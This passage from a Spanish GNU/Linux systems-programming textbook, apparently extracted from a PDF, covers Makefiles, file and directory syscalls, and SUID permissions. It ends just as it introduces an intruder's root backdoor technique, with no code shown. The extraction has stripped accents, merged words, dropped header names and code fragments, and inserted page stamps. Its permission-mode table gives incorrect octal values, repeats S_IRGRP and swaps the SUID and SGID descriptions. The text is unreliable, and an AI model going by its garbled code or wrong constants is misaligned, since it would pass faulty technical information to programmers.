    Para evitar este extrao efecto, podemos hacer uso de un objetivoespecial de make, .PHONY. Todas las dependencias que incluyamos en esteobjetivo obviarn la presencia de un fichero que coincida con su nombre, yse ejecutarn los comandos correspondientes. As, si nuestro anteriorMakefile hubiese aadido la siguiente lnea:

    .PHONY : clean

    habra evitado el anterior problema de manera limpia y sencilla.

    1.4.1.4 Reglas implcitas

    No todos los objetivos de un Makefile tienen por qu tener una lista decomandos asociados para poder realizarse. En ocasiones se definen reglasque slo indican las dependencias necesarias, y es el propio make quiendecide cmo se lograrn cada uno de los objetivos. Vemoslo con un ejemplo:

    juego : juego.ojuego.o : juego.c

    Con un Makefile como este, make ver que para generar juego es precisogenerar previamente juego.o y para generar juego.o no existen comandos

  • 8/6/2019 programacion gnulinux

    21/82

    Programacin de Sistemas 19

    que lo puedan realizar, por lo tanto, make presupone que para generar unfichero objeto basta con compilar su fuente, y para generar el ejecutablefinal, basta con enlazar el fichero objeto. As pues, implcitamente ejecuta lassiguientes reglas:

    cc c juego.c o juego.occ juego.o o juego

    Generando el ejecutable, mediante llamadas al compilador estndar.

    1.4.1.5 Reglas patrn

    Las reglas implcitas que acabamos de ver, tienen su razn de ser debidoa una serie de reglas patrn que implcitamente se especifican en losMakefiles. Nosotros podemos redefinir esas reglas, e incluso inventar reglaspatrn nuevas. He aqu un ejemplo de cmo redefinir la regla implcitaanteriormente comentada:

    %.o : %.c$(CC) $(CFLAGS) $< -o $@

    Es decir, para todo objetivo que sea un .o y que tenga comodependencia un . c, ejecutaremos una llamada al compilador de C ($(CC))con los modificadores que estn definidos en ese momento ($(CFLAGS)),compilando la primera dependencia de la regla ($

  • 8/6/2019 programacion gnulinux

    22/82

    Programacin de Sistemas 20

    #

    CC := gccCFLAGS := -O2

    MODULOS = ventana.o gestion.o bd.o juego

    .PHONY : clean install

    all : $(MODULOS)

    %.o : %.c$(CC) $(CFLAGS) c $

  • 8/6/2019 programacion gnulinux

    23/82

    Programacin de Sistemas 21

    #include

    int main( int argc, char *argv[] ){

    printf( Hola, mundo!\n );

    return 0;}

    Queda fuera del mbito de este libro explicar de forma detallada lasintaxis de C, por lo que pasaremos a analizar el proceso de compilacindesde nuestro fichero fuente (hola.c) al fichero ejecutable (hola):

    txipi@neon:~$ gcc hola.c o holatxipi@neon:~$ ./holaHola, mundo!txipi@neon:~$

    Como podemos observar, el proceso es muy sencillo. Hay que tenerespecial cuidado en aadir el directorio a la hora de llamar al ejecutable(. /ho la) porque en GNU/Linux la variable PATH no contiene al directorioactual. As, por mucho que hagamos cd para cambiar a un determinadodirectorio, siempre tendremos que incluir el directorio en la llamada alejecutable, en este caso incluimos el directorio actual, es decir, ..

    1.5.2 Llamadas sencillas

    Con el Hola, mundo! hemos empleado la funcin estndar de C, printf().

    En la librera glibC, la librera estndar de C de GNU, printf() estimplementada como una serie de llamadas al sistema que seguramenterealizarn algo parecido a esto:

    1. Abrir el fichero STDOUT (salida estndar) para escritura.2. Analizar y calcular la cadena que hay que sacar por

    STDOUT.3. Escribir en el fichero STDOUT la anterior cadena.

    En realidad, como vemos, printf() desemboca en varias llamadas alsistema, para abrir ficheros, escribir en ellos, etc. Por lo tanto, no siempre

    que utilicemos una funcin de C se llamar a una nica syscall o llamada alsistema, sino que funciones relativamente complejas pueden dar lugar avarias sycalls.

    La manera ms sencilla de entender el sistema es utilizando las funcionesbsicas, aquellas que se corresponden fielmente con la syscall a la quellaman. Entre las ms bsicas estn las de manejo de ficheros. Ya hemosdicho que en UNIX en general, y en GNU/Linux en particular, todo es unfichero, por lo que estas syscalls son el ABC de la programacin de sistemasen UNIX.

    Comencemos por crear un fichero. Existen dos maneras de abrir unfichero, open() y creat(). Antiguamente open() slo poda abrir ficheros que ya

  • 8/6/2019 programacion gnulinux

    24/82

    Programacin de Sistemas 22

    estaban creados por lo que era necesario hacer una llamada a creat()parallamar a open()posteriormente. A da de hoy open() es capaz de crear ficheros,ya que se ha aadido un nuevo parmetro en su prototipo:

    int creat( const char *pathname, mode_t mode )

    int open( const char *pathname, int flags )

    int open( const char *pathname, int flags, mode_t mode )

    Como vemos, la nueva open() es una suma de las funcionalidades de laopen() original y de creat(). Otra cosa que puede llamar la atencin es el hechode que el tipo del parmetro mode es mode_t. Esta clase de tipos esbastante utilizado en UNIX y suelen corresponder a un int o unsigned int enla mayora de los casos, pero se declaran as por compatibilidad hacia atrs.Por ello, para emplear estas syscalls se suelen incluir los ficheros de

    cabecera:#include #include #include

    El funcionamiento de open() es el siguiente: al ser llamada intenta abrir elfichero indicado en la cadena pathname con el acceso que indica elparmetro flags. Estos flags indican si queremos abrir el fichero paralectura, para escritura, etc. La siguiente tabla especifica los valores quepuede tomar este parmetro:

    Indicador Valor DescripcinO_RDONLY 0000 El fichero se abre slo para lectura.O_WRONLY 0001 El fichero se abre slo para escritura.O_RDWR 0002 El fichero se abre para lectura y escritura.

    O_RANDOM 0010 El fichero se abre para ser accedido de formaaleatoria (tpico de discos).

    O_SEQUENTIAL 0020 El fichero se abre para ser accedido de formasecuencial (tpico de cintas).

    O_TEMPORARY 0040 El fichero es de carcter temporal.

    O_CREAT 0100 El fichero deber ser creado si no existapreviamente.

    O_EXCL 0200

    Provoca que la llamada a open falle si se

    especifica la opcin O_CREAT y el fichero yaexista.

    O_NOCTTY 0400Si el fichero es un dispositivo de terminal (TTY), nose convertir en la terminal de control de proceso(CTTY).

    O_TRUNC 1000 Fija el tamao del fichero a cero bytes.

    O_APPEND 2000 El apuntador de escritura se situa al final delfichero, se escribirn al final los nuevos datos.

    O_NONBLOCK 4000La apertura del fichero ser no bloqueante. Esequivalente a O_NDELAY.

    O_SYNC 10000Fuerza a que todas las escrituras en el fichero seterminen antes de que se retorne de la llamada alsistema. Es equivalente a O_FSYNC.

    O_ASYNC 20000 Las escrituras en el fichero pueden realizarse demanera asncrona.

    O_DIRECT 40000 El acceso a disco se producir de forma directa.

  • 8/6/2019 programacion gnulinux

    25/82

    Programacin de Sistemas 23

    O_LARGEFILE 100000Utilizado slo para ficheros extremadamentegrandes.

    O_DIRECTORY 200000 El fichero debe ser un directorio.

    O_NOFOLLOW 400000Fuerza a no seguir los enlaces simblicos. til enentornos crticos en cuanto a seguridad.

    Tabla 1.5.3 Lista de los posibles valores del argumento flags.

    La lista es bastante extensa y los valores estn pensados para que seaposible concatenar o sumar varios de ellos, es decir, hacer una OR lgicaentre los diferentes valores, consiguiendo el efecto que deseamos. As pues,podemos ver que en realidad una llamada a creat()tiene su equivalente enopen(), de esta forma:

    open( pathname, O_CREAT | O_TRUNC | O_WRONLY, mode )

    El argumento mode se encarga de definir los permisos dentro del

    Sistema de Ficheros (de la manera de la que lo hacamos con el comandochmod ). La lista completa de sus posibles valores es esta:

    Indicador Valor DescripcinS_IROTH 0000 Activar el bit de lectura para todo los usuarios.S_IWOTH 0001 Activar el bit de escritura para todo los usuarios.S_IXOTH 0002 Activar el bit de ejecucin para todo los usuarios.

    S_IRGRP 0010Activar el bit de lectura para todo los usuariospertenecientes al grupo.

    S_IRGRP 0020Activar el bit de escritura para todo los usuariospertenecientes al grupo.

    S_IRGRP 0040

    Activar el bit de ejecucin para todo los usuarios

    pertenecientes al grupo.S_IRUSR 0100 Activar el bit de lectura para el propietario.S_IWUSR 0200 Activar el bit de escritura para el propietario.S_IXUSR 0400 Activar el bit de ejecucin para el propietario.S_ISVTX 1000 Activa el sticky bit en el fichero.S_ISGID 2000 Activa el bit de SUID en el fichero.S_ISUID 4000 Activa el bit de SGID en el fichero.

    S_IRWXUS_IRUSR +S_IWUSR +

    S_IXUSR

    Activar el bit de lectura, escritura y ejecucin parael propietario.

    S_IRWXGS_IRGRP +S_IWGRP +

    S_IXGRP

    Activar el bit de lectura, escritura y ejecucin paratodo los usuarios pertenecientes al grupo.

    S_IRWXOS_IROTH +S_IWOTH +

    S_IXOTH

    Activar el bit de lectura, escritura y ejecucin paratodo los usuarios.

    Tabla 1.5.4 Lista de los posibles valores del argumento mode.

    Todos estos valores se definen en un fichero de cabecera , por lo queconviene incluirlo:

    #include

    Una llamada correcta a open()devuelve un entero que corresponde aldescriptor de fichero para manejar el fichero abierto. Cada proceso maneja

  • 8/6/2019 programacion gnulinux

    26/82

    Programacin de Sistemas 24

    una tabla de descriptores de fichero que le permiten manejar dichos ficherosde forma sencilla. Inicialmente las entradas 0, 1 y 2 de esa tabla estnocupadas por los ficheros STDIN, STDOUT y STDERR respectivamente, es decir, laentrada estndar, la salida estndar y la salida de error estndar:

    Figura 1.5.2 Los descriptores de fichero iniciales de un proceso.

    Podramos entender esa tabla de descriptores de fichero como un Hotelen el que inicialmente las tres primeras habitaciones estn ocupadas por losclientes STDIN, STDOUTy STDERR. Conforme vayan viniendo ms clientes (seabran nuevos archivos), se les ir acomodando en las siguienteshabitaciones. As un fichero abierto nada ms iniciarse el proceso, esbastante probable que tenga un descriptor de fichero cercano a 2. En esteHotel siempre se asigna la habitacin ms baja a cada nuevo cliente.

    Esto habr que tomarlo en cuenta en futuros programas.

    Bien, ya sabemos abrir ficheros y crearlos si no existieran, pero nopodemos ir dejando ficheros abiertos sin cerrarlos convenientemente. Yasabis que C se caracteriza por tratar a sus programadores como personasresponsables y no presupone ninguna niera del estilo del recolector debasuras, o similares. Para cerrar un fichero basta con pasarle a la syscallclose() el descriptor de fichero como argumento:

    int close( int fd)

    Resulta bastante sencillo. Veamos todo esto en accin en un ejemplo:

    #include #include #include

    int main( int argc, char *argv[] ){int fd;

    if( (fd = open( argv[1], O_RDWR )) == -1 ){

    perror( "open" );exit( -1 );}

  • 8/6/2019 programacion gnulinux

    27/82

    Programacin de Sistemas 25

    printf( "El fichero abierto tiene el descriptor %d.\n", fd );

    close( fd );

    return 0;

    }

    Inicialmente tenemos los ficheros de cabecera necesarios, tal y comohemos venido explicando hasta aqu. Seguidamente declaramos la variablefd que contendr el descriptor de fichero, y realizamos una llamada aopen(), guardando en fd el resultado de dicha llamada. Si fd es 1 significaque se ha producido un error al abrir el fichero, por lo que saldremosadvirtiendo del error. En caso contrario se contina con la ejecucin delprograma, mostrando el descriptor de fichero por pantalla y cerrando elfichero despus. El funcionamiento de este programa puede verse aqu:

    txipi@neon:~$ gcc fichero.c o ficherotxipi@neon:~$ ./fichero fichero.cEl fichero abierto tiene el descriptor 3.

    El siguiente paso lgico es poder leer y escribir en los ficheros quemanejemos. Para ello emplearemos dos syscalls muy similares: read() y write().Aqu tenemos sus prototipos:

    ssize_t read( int fd, void *buf, size_t count )

    ssize_t write( int fd, void *buf, size_t count )

    La primera de ellas intenta leer count bytes del descriptor de ficherodefinido en fd, para guardarlos en el buffer buf. Decimos intenta porquees posible que en ocasiones no consiga su objetivo. Al terminar, read()devuelve el nmero de bytes ledos, por lo que comparando este valor con lavariable count podemos saber si ha conseguido leer tantos bytes comopedamos o no. Los tipos de datos utilizados para contar los bytes ledospueden resultar un tanto extraos, pero no son ms que enteros e estaversin de GNU/Linux, como se puede ver en el fichero de cabeceras:

    txipi@neon:~$ grep ssize /usr/include/bits/types.h

    typedef int __ssize_t; /* Type of a byte count, or error. */txipi@neon:~$ grep ssize /usr/include/unistd.h#ifndef __ssize_t_definedtypedef __ssize_t ssize_t;# define __ssize_t_defined[]

    El uso de la funcin write() es muy similar, basta con llenar el buffer bufcon lo que queramos escribir, definir su tamao en count y especificar elfichero en el que escribiremos con su descriptor de fichero en fd. Veamostodo esto en accin en un sencillo ejemplo:

    #include #include #include

  • 8/6/2019 programacion gnulinux

    28/82

    Programacin de Sistemas 26

    #define STDOUT 1#define SIZE 512

    int main( int argc, char *argv[] ){

    int fd, readbytes;char buffer[SIZE];

    if( (fd = open( argv[1], O_RDWR )) == -1 ){

    perror( "open" );exit( -1 );

    }

    while( (readbytes = read( fd, buffer, SIZE )) != 0 ){

    /* write( STDOUT, buffer, SIZE ); */

    write( STDOUT, buffer, readbytes );}

    close( fd );

    return 0;}

    Como se puede observar, inicialmente definimos dos constantes, STDOUTpara decir que el descriptor de fichero que define la salida estndar es 1, ySIZE, que indica el tamao del buffer que utilizaremos. Seguidamentedeclaramos las variables necesarias e intentamos abrir el fichero pasado porparmetro (argv[1]) con acceso de lectura/escritura. Si se produce un error (lasalida de open() es 1), salimos indicando el error, si no, seguimos. Despustenemos un bucle en el que se va a leer del fichero abierto (fd) de SIZE enSIZE bytes hasta que no quede ms (read() devuelva 0 bytes ledos). En cadavuelta del bucle se escribir lo ledo por la STDOUT, la salida estndar.Finalmente se cerrar el descriptor de fichero con close().

    En resumidas cuentas este programa lo nico que hace es mostrar elcontenido de un fichero por la salida estndar, parecido a lo que hace elcomando cat en la mayora de ocasiones.

    Existe una lnea de cdigo que est comentada en el listado anterior:

    /* write( STDOUT, buffer, SIZE ); */

    En esta llamada a write() no se est teniendo en cuenta lo que hadevuelto la llamada a read() anterior, sino que se haya ledo lo que sehaya ledo, se intentan escribir SIZE bytes, es decir 512 bytes. Qusuceder al llamar al programa con esta lnea en lugar de con laotra? Bien, si el fichero que pasamos como parmetro esmedianamente grande, los primeros ciclos del bucle while

    funcionarn correctamente, ya que read() devolver 512 comonmero de bytes ledos, y write() los escribir correctamente. Pero enla ltima iteracin del bucle, read() leer menos de 512 bytes, porque

  • 8/6/2019 programacion gnulinux

    29/82

    Programacin de Sistemas 27

    es muy probable que el tamao del fichero pasado por parmetro nosea mltiplo de 512 bytes. Entonces, read() habr ledo menos de512 bytes y write() seguir tratando de escribir 512 bytes. Elresultado es que write() escribir caracteres basura que seencuentran en ese momento en memoria:

    txipi@neon:~ $ gcc files.c -o filestxipi@neon:~ $ ./files files.c#include #include #include #define STDOUT 1#define SIZE 512int main(int argc, char *argv[]){

    int fd, readbytes;char buffer[SIZE];

    if( (fd=open(argv[1], O_RDWR)) == -1 ){

    perror("open");exit(-1);

    }

    while( (readbytes=read(fd, buffer, SIZE)) != 0 ){

    /* write(STDOUT, buffer, readbytes); */write(STDOUT, buffer, SIZE);

    }

    close(fd);

    return 0;}@p@N@'@4%@'@8D&@

    "&@'@X'@X@txipi@neon:~ $

    Tal y como muestra este ejemplo, inicialmente el programa funciona bien,pero si no tenemos en cuenta los bytes ledos por read(), al final terminaremos

    escribiendo caracteres basura.Otra funcin que puede ser de gran ayuda es lseek(). Muchas veces no

    queremos posicionarnos al principio de un fichero para leer o para escribir,sino que lo que nos interesa es posicionarnos en un desplazamiento concretorelativo al comienzo del fichero, o al final del fichero, etc. La funcin lseek()nos proporciona esa posibilidad, y tiene el siguiente prototipo:

    off_t lseek(int fildes, off_t offset, int whence);

    Los parmetros que recibe son bien conocidos, fildes es el descriptor de

    fichero, offset es el desplazamiento en el que queremos posicionarnos,relativo a lo que indique whence, que puede tomar los siguientes valores:

  • 8/6/2019 programacion gnulinux

    30/82

    Programacin de Sistemas 28

    Indicador Valor Descripcin

    SEEK_SET 0 Posiciona el puntero a offset bytes desde elcomienzo del fichero.

    SEEK_CUR 1Posiciona el puntero a offset bytes desde laposicin actual del puntero..

    SEEK_END 2 Posiciona el puntero a offset bytes desde el final

    del fichero.

    Tabla 1.5.5 Lista de los posibles valores del argumento whence.

    Por ejemplo, si queremos leer un fichero y saltarnos una cabecera de 200bytes, podramos hacerlo as:

    #include #include #include #define STDOUT 1#define SIZE 512int main( int argc, char *argv[] ){

    int fd, readbytes;char buffer[SIZE];

    if( (fd = open( argv[1], O_RDWR )) == -1 ){

    perror( "open" );exit( -1 );

    }

    lseek( fd,200, SEEK_SET );

    while( (readbytes = read( fd, buffer, SIZE )) != 0 ){

    write( STDOUT, buffer, SIZE );}

    close(fd);

    return 0;}

    Esta funcin tambin utiliza tipos de variables algo esotricos, comoo f f _ t, que al igual que los tipos vistos hasta ahora, no son ms que otra formade llamar a un entero largo y se mantienen por compatibilidad entre losdiferentes UNIX:

    txipi@neon:~$ grep off_t /usr/include/bits/types.htypedef long int __off_t; /* Type of file sizes and offsets. */typedef __quad_t __loff_t; /* Type of file sizes and offsets. */typedef __loff_t __off64_t;

    Ya sabemos crear, abrir, cerrar, leer y escribir, con esto se puede hacerde todo! Para terminar con las funciones relacionadas con el manejo de

  • 8/6/2019 programacion gnulinux

    31/82

    Programacin de Sistemas 29

    ficheros veremos chmod( ), chown() y stat(), para modificar el modo y elpropietario del fichero, o acceder a sus caractersticas, respectivamente.

    La funcin chmod() tiene el mismo uso que el comando del mismo nombre:cambiar los modos de acceso permitidos para un fichero en concreto. Por

    mucho que estemos utilizando C, nuestro programa sigue sujeto a lasrestricciones del Sistema de Ficheros, y slo su propietario o root podrncambiar los modos de acceso a un fichero determinado. Al crear un fichero,bien con creat() o bien con open(), ste tiene un modo que estar en funcin dela mscara de modos que est configurada (ver man umask), pero podremoscambiar sus modos inmediatamente haciendo uso de una de estas funciones:

    int chmod(const char *path, mode_t mode);int fchmod(int fildes, mode_t mode);

    Viendo el prototipo de cada funcin, podemos averiguar su

    funcionamiento: la primera de ellas, chmod(), modifica el modo del ficheroindicado en la cadena path. La segunda, fchmod(), recibe un descriptor defichero, fildes, en lugar de la cadena de caracteres con la ruta al fichero. Elparmetro mode es de tipo mode_t, pero en GNU/Linux es equivalente ausar una variable de tipo entero. Su valor es exactamente el mismo que elque usaramos al llamar al comando chmod, por ejemplo:

    chmod( /home/txipi/prueba, 0666 );

    Para modificar el propietario del fichero usaremos las siguientesfunciones:

    int chown(const char *path, uid_t owner, gid_t group);int fchown(int fd, uid_t owner, gid_t group);int lchown(const char *path, uid_t owner, gid_t group);

    Con ellas podremos cambiar el propietario y el grupo de un fichero enfuncin de su ruta ( chown() y lchown() ) y en funcin del descriptor de fichero (fchown() ). El propietario (owner) y el grupo (group) son enteros queidentifican a los usuarios y grupos, tal y como especifican los ficheros/etc/passwd y /etc/group. Si fijamos alguno de esos dos parmetros (owner ogroup) con el valor 1, se entender que deseamos que permanezca como

    estaba. La funcin lchown() es idntica a chown() salvo en el tratamiento deenlaces simblicos a ficheros. En versiones de Linux anteriores a 2.1.81 (ydistintas de 2.1.46), chown() no segua enlaces simblicos. Fue a partir deLinux 2.1.81 cuando chown() comenz a seguir enlaces simblicos y se creuna nueva syscall, lchown(), que no segua enlaces simblicos. Por lo tanto, siqueremos aumentar la seguridad de nuestros programas, emplearemoslchown(), para evitar malentendidos con enlaces simblicos confusos.

    Cuando el propietario de un fichero ejecutable es modificado por unusuario normal (no root), los bits de SUID y SGID se deshabilitan. Elestndar POSIX no especifica claramente si esto debera ocurrir tambincuando root realiza la misma accin, y el comportamiento de Linux depende

  • 8/6/2019 programacion gnulinux

    32/82

    Programacin de Sistemas 30

    de la versin del kernel que se est empleando. Un ejemplo de su uso podraser el siguiente:

    gid_t grupo = 100; /* 100 es el GID del grupo users */

    chown( /home/txipi/prueba, -1, grupo);

    Con esta llamada estamos indicando que queremos modificar elpropietario y grupo del fichero /home/ tx ip i /p rueba, dejando el propietariocomo estaba (-1), y modificando el grupo con el valor 100, que correspondeal grupo users:

    txipi@neon:~$ grep 100 /etc/groupusers:x:100:

    Ya slo nos queda saber cmo acceder a las caractersticas de un fichero,mediante el uso de la funcin stat(). Esta funcin tiene un comportamientoalgo diferente a lo visto hasta ahora: utiliza una estructura de datos contodas las caractersticas posibles de un fichero, y cuando se llama a stat ( )sepasa una referencia a una estructura de este tipo. Al final de la syscall,tendremos en esa estructura todas las caractersticas del ficherodebidamente cumplimentadas. Las funciones relacionadas con esto son lassiguientes:

    int stat(const char *file_name, struct stat *buf);int fstat(int filedes, struct stat *buf);int lstat(const char *file_name, struct stat *buf);

    Es decir, muy similares a chown(), fchown()y lchown(), pero en lugar deprecisar los propietarios del fichero, necesitan como segundo parmetro unpuntero a una estructura de tipo stat:

    struct stat {dev_t st_dev; /* dispositivo */ino_t st_ino; /* numero de inode */mode_t st_mode; /* modo del fichero */nlink_t st_nlink; /* numero de hard links */uid_t st_uid; /* UID del propietario*/gid_t st_gid; /* GID del propietario */dev_t st_rdev; /* tipo del dispositivo */off_t st_size; /* tamao total en bytes */blksize_t st_blksize; /* tamao de bloque preferido */blkcnt_t st_blocks; /* numero de bloques asignados */time_t st_atime; /* ultima hora de acceso */time_t st_mtime; /* ultima hora de modificacin */time_t st_ctime; /* ultima hora de cambio en inodo */

    };

    Como vemos, tenemos acceso a informacin muy detallada y precisa delfichero en cuestin. El siguiente ejemplo muestra todo esto enfuncionamiento:

    #include #include #include

  • 8/6/2019 programacion gnulinux

    33/82

  • 8/6/2019 programacion gnulinux

    34/82

    Programacin de Sistemas 32

    dispositivo: 3, 3modo: 0100644vinculos: 1propietario: 1000grupo: 100tipo del dispositivo: 0

    tamao total en bytes: 1274tamao de bloque preferido: 4096numero de bloques asignados: 8ultima hora de acceso: Tue Nov 12 13:33:15 2002ultima hora de modificacin: Tue Nov 12 13:33:12 2002ultima hora de cambio en inodo: Tue Nov 12 13:33:12 2002

    1.5.3 Manejo de directorios

    Ya hemos visto las syscalls ms bsicas y ms importantes- a la hora demanejar ficheros, pero muchas veces con esto no basta para funcionar

    dentro del Sistema de Ficheros. Tambin es necesario controlar en qudirectorio estamos, cmo crear o borrar un directorio, poder saltar a otrodirectorio o incluso recorrer un rbol de directorios al completo. En esteapartado estudiaremos cada una de esas funciones detalladamente.

    Comencemos por lo ms sencillo: dnde estoy? Es decir, cul es eldirectorio de trabajo actual (CWD)? Las funciones encargada deproporcionarnos ese dato son getcwd(), getcur rent_d i r_name()y getwd(), y tienenlos siguientes prototipos:

    char *getcwd(char *buf, size_t size);

    char *get_current_dir_name(void);char *getwd(char *buf);

    La funcin getcwd() devuelve una cadena de caracteres con la rutacompleta del directorio de trabajo actual, que almacenar en el buffer buf,de tamao size. Si el directorio no cabe en el buffer, retornar NULL, por loque es conveniente usar alguna de las otras dos funciones. Veamos unejemplo de su funcionamiento:

    #include

    int main( int argc, char *argv[] ){char buffer[512];

    printf( "El directorio actual es: %s\n",getcwd( buffer, -1 ) );

    return 0;}

    Este programa funciona correctamente para el directorio actual(/home/txipi), como podemos observar:

    txipi@neon:~ $ ./getcwdEl directorio actual es: /home/txipi

  • 8/6/2019 programacion gnulinux

    35/82

    Programacin de Sistemas 33

    txipi@neon:~ $

    Otra posibilidad para obtener el directorio actual podra ser la de leer lavariable en entorno PWD . Cuando hacemos un echo $PWD en el intrpretede comandos, conseguimos la misma informacin que getcwd(). Por lo tanto,

    podramos servirnos de la funcin getenv() para tomar el valor de la variablede entorno PWD. Para ms detalles, consultar la pgina del man de getenv().

    Si lo que queremos es movernos a otro directorio, deberemos utilizaralguna de estas funciones:

    int chdir(const char *path);int fchdir(int fd);

    Como en anteriores ocasiones, su funcionamiento es el mismo, slo queen la primera el nuevo directorio de trabajo es pasado como una cadena de

    caracteres, y en la segunda como un descriptor de fichero previamenteabierto. Ambas devuelven 0 si todo ha ido bien, y 1 si se ha producido algnerror.

    Para crear y borrar directorios tenemos una serie de funciones a nuestradisposicin, con prototipos muy familiares:

    int mkdir(const char *pathname, mode_t mode);int rmdir(const char *pathname);

    Ambas son el fiel reflejo de los comandos que representan: rmdir() borra el

    directorio especificado en pathname y exige que ste est vaco, mkdir() creael directorio especificado en pathname, con el modo de acceso especificadoen el parmetro mode (tpicamente un valor octal como 0755, etc.). Unejemplo de su manejo aclarar todas nuestras posibles dudas:

    #include

    int main( int argc, char *argv[] ){char buffer[512];

    printf( "El directorio actual es: %s\n",

    getcwd( buffer, -1 ) );chdir( ".." );mkdir( "./directorio1", 0755 );mkdir( "./directorio2", 0755 );rmdir( "./directorio1" );

    return 0;}

    Probemos a ver si todo funciona correctamente:

    txipi@neon:~$ gcc directorios.c -o directoriostxipi@neon:~$ mkdir pruebatxipi@neon:~$ mv directorios prueba/txipi@neon:~$ cd prueba/

  • 8/6/2019 programacion gnulinux

    36/82

    Programacin de Sistemas 34

    txipi@neon:~/prueba$ ./directoriosEl directorio actual es: /home/txipi/pruebatxipi@neon:~/prueba$ lsdirectoriostxipi@neon:~/prueba$ cd ..txipi@neon:~$ ls

    directorios.c directorio2txipi@neon:~$ ls -ld directorio2/drwxr-xr-x 2 txipi users 4096 2002-11-12 19:11 directorio2/

    Parece que s. De momento estamos teniendo bastante suerte, peroporque todo lo visto hasta ahora era muy fcil. Vamos a ver si somos capacesde darle ms vidilla a esto, y poder hacer un recorrido de directorios a travsde las complicadas y tenebrosas estructuras dirent. Las funcionesrelacionadas con el listado de directorios son las siguientes:

    DIR *opendir(const char *name);struct dirent *readdir(DIR *dir);int closedir(DIR *dir);

    Con la primera de ellas conseguimos una variable de tipo DIR en funcinde una ruta definida por la cadena de caracteres name . Una vez obtenidadicha variable de tipo DIR, se la pasamos como parmetro a la funcinreaddir(), que nos proporcionar un puntero a una estructura de tipo dirent, esdecir, a la entrada del directorio en concreto a la que hemos accedido. Enesa estructura dirent tendremos todos los datos de la entrada de directorioque a la que estamos accediendo: inodo, distancia respecto del comienzo dedirectorio, tamao de la entrada y nombre:

    struct dirent {ino_t d_ino; // numero de i-node de la entrada de directoriooff_t d_off; // offsetwchar_t d_reclen; // longitud de este registrochar d_name[MAX_LONG_NAME+1] // nombre de esta entrada

    }

    A primera vista parece compleja, pero ya hemos lidiado con estructurasms grandes como stat, y, adems, slo nos interesa el ltimo campo. Bueno,ya estamos en disposiciones de recorrer un directorio: lo abriremos conopendir(), iremos leyendo cada una de sus entradas con readdir() hasta que no

    queden ms (readdir() no devuelva NULL), y cerraremos el directorio conclosedir(), es simple:

    #include #include #include

    int main( int argc, char *argv[] ){DIR *dir;struct dirent *mi_dirent;

    if( argc != 2 ){printf( "%s: %s directorio\n", argv[0], argv[0] );

  • 8/6/2019 programacion gnulinux

    37/82

    Programacin de Sistemas 35

    exit( -1 );}

    if( (dir = opendir( argv[1] )) == NULL ){perror( "opendir" );

    exit( -1 );}

    while( (mi_dirent = readdir( dir )) != NULL )printf( "%s\n", mi_dirent->d_name );

    closedir( dir );return 0;

    }

    El resultado de la ejecucin de este programa se parece mucho al

    esperado:

    txipi@neon:~$ gcc dirs.c -o dirstxipi@neon:~$ ./dirs./dirs: ./dirs directoriotxipi@neon:~$ ./dirs ....files.cfilesstat.cstat

    makefilecleangetcwd.cgetcwddirectorios.cdirs.cpruebadirectorio2dirs

    1.5.4 Jugando con los permisos

    Antes de meternos con la comunicacin entre procesos me gustaracomentar algunas curiosidades sobre los permisos en GNU/Linux. Como yahemos dicho al principio de este captulo, mientras un programa se estejecutando dispone de una serie de credenciales que le permiten acreditarsefrente al sistema a la hora de acceder a sus recursos, es decir, son como latarjeta de acceso en un edificio muy burocratizado como pueda ser elPentgono: si tu tarjeta es de nivel 5, no puedes acceder a salas de nivel 6 osuperior, las puertas no se abren (y adems es probable que quede unregistro de tus intentos fallidos). Dentro de esas credenciales, las que ms sesuelen utilizar son el uidy el gid, as como el euidy el egid. Estas dos parejas

    informan de qu usuario real y efectivo est ejecutando el programa encuestin, para dotarle de unos privilegios o de otros.

  • 8/6/2019 programacion gnulinux

    38/82

    Programacin de Sistemas 36

    Para la mayora de programas, con el euides suficiente: si eresefectivamente el usuario root, tienes privilegios de root durante laejecucin de esa tarea, a pesar de que tu usuario real sea otro. Esto sucedemucho en ejecutables que tienen el bit de SUID activado: convierten a quienlos ejecuta en el usuario propietario de ese ejecutable. Si dicho usuario era

    root, al ejecutarlos te conviertes momentneamente en root. Esto permite,por ejemplo, que un usuario normal pueda cambiar su contrasea, es decir,modificar el fichero /etc/shadow, a pesar de no tener grandes privilegios enel sistema. El comando passwd hace de puerta de enlace, por as llamarlo,entre la peticin del usuario y la modificacin del fichero protegido:

    txipi@neon:~$ ls -l /etc/shadow-rw-r----- 1 root shadow 1380 2002-11-12 20:12 /etc/shadowtxipi@neon:~$ passwd txipiChanging password for txipi(current) UNIX password:Bad: new and old password are too similar (hummmm...)

    Enter new UNIX password:Retype new UNIX password:Bad: new password is too simple (arghhh!!!!)Retype new UNIX password:Enter new UNIX password:passwd: password updated successfully (ufff!!)txipi@neon:~$ which passwd/usr/bin/passwdtxipi@neon:~$ ls -l /usr/bin/passwd-rwsr-xr-x 1 root root 25640 2002-10-14 04:05 /usr/bin/passwd

    Como vemos inicialmente, el fichero /etc/shadow est protegido contra

    escritura para todos los usuarios excepto para root, y aun as (despus dedesesperarme un poco!), he podido cambiar mi contrasea, es decir,modificarlo. Esto es posible gracias a que el programa /usr/bin/passwd que heutilizado, tiene a root como propietario, y el bit de SUID activado (-rwsr-xr-x).

    Cmo gestionar todo esto en nuestros programas en C? Utilizando lassiguientes funciones:

    uid_t getuid(void);uid_t geteuid(void);

    int setuid(uid_t uid);int seteuid(uid_t euid);int setreuid(uid_t ruid, uid_t euid);

    Con las dos primeras obtenemos tanto el uid como el euid del proceso enejecucin. Esto puede resultar til para hacer comprobaciones previas. Elprograma nmap, por ejemplo, comprueba si tienes privilegios de root (esdecir, si euid es 0) antes de intentar realizar ciertas cosas. Las otras tresfunciones sirven para cambiar nuestro uid, euid o ambos, en funcin de lasposibilidades, esto es, siempre y cuando el sistema nos lo permita: bien

    porque somos root, bien porque queremos degradar nuestros privilegios. Lastres retornan 0 si todo ha ido bien, o 1 si ha habido algn error. Si lespasamos 1 como parmetro, no harn ningn cambio, por lo tanto:

  • 8/6/2019 programacion gnulinux

    39/82

    Programacin de Sistemas 37

    setuid(uid_t uid) equivale a setreuid(uid_t ruid, -1)seteuid(uid_t euid) equivale a setreuid(-1, uid_t euid);

    Analicemos ahora un caso curioso: antiguamente, cuando no se utilizababash como intrprete de comandos, algunos intrusos utilizaban una tcnicaque se conoce vulgarmente con el nombre de mochila o puerta trasera.Esta tcnica se basaba en el hecho de que una vez conseguido un accesocomo root al sistema, se dejaba una puerta trasera para lograr esosprivilegios el resto de veces que se quisiera, de la siguiente forma:

